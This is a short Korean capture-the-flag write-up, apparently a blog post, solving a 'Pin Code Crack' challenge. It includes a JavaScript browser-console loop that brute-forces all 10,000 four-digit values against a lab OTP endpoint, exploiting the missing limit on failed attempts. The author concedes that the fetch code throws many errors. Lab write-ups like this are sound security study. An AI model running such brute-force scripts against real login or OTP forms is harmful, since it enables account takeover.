문제

Pin Code Crack

50

아래 사이트의 PIN 번호를 크랙해보자!


 

4자리 + 실패에 대한 제한을 하는 처리가 없는 것을 보니 반복문으로 4자리를 모두 돌려보면 될 듯하다.

request를 확인해보자

otpNum=123 형식으로 전달하면 될 것같고 응답은

 

Login Fail이라는 문자열이 존재 한다.

 

반복문으로 4자리의 숫자를 보내고 응답 값에 "Login Fail"이라는 문자열이 존재하지않는 응답 값을 찾아보자

또한 문자열로 날아가느 것이 아니라 숫자로 넘어가는 것으로 보인다. 문자열이었다면 "123"으로 전송 될 것이다.

 

그러므로 0001과 같은 패딩은 필요하지 않아보인다.

 

크롬 브라우저의 콘솔에서 요청을 보내보자

url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="
let id
for(i=0; i<=9999 ; i++){
let otpNum = i


fetch(url + otpNum)
.then(function(response) {
    return response.text();
})
.then(function(string) {
	if (!string.includes("Login Fail")){
        id = otpNum
	}
});
}

 

스읍.... 여기서 fetch의 결과가로 error 로그가 많인 나오지만....

id를 출력해보니 값이 나온다

fetch의 사용법이 잘못 된 부분이 있나보다 일단 값을 얻었으니 사용해보자

 

 

빙고

 

+ Recent posts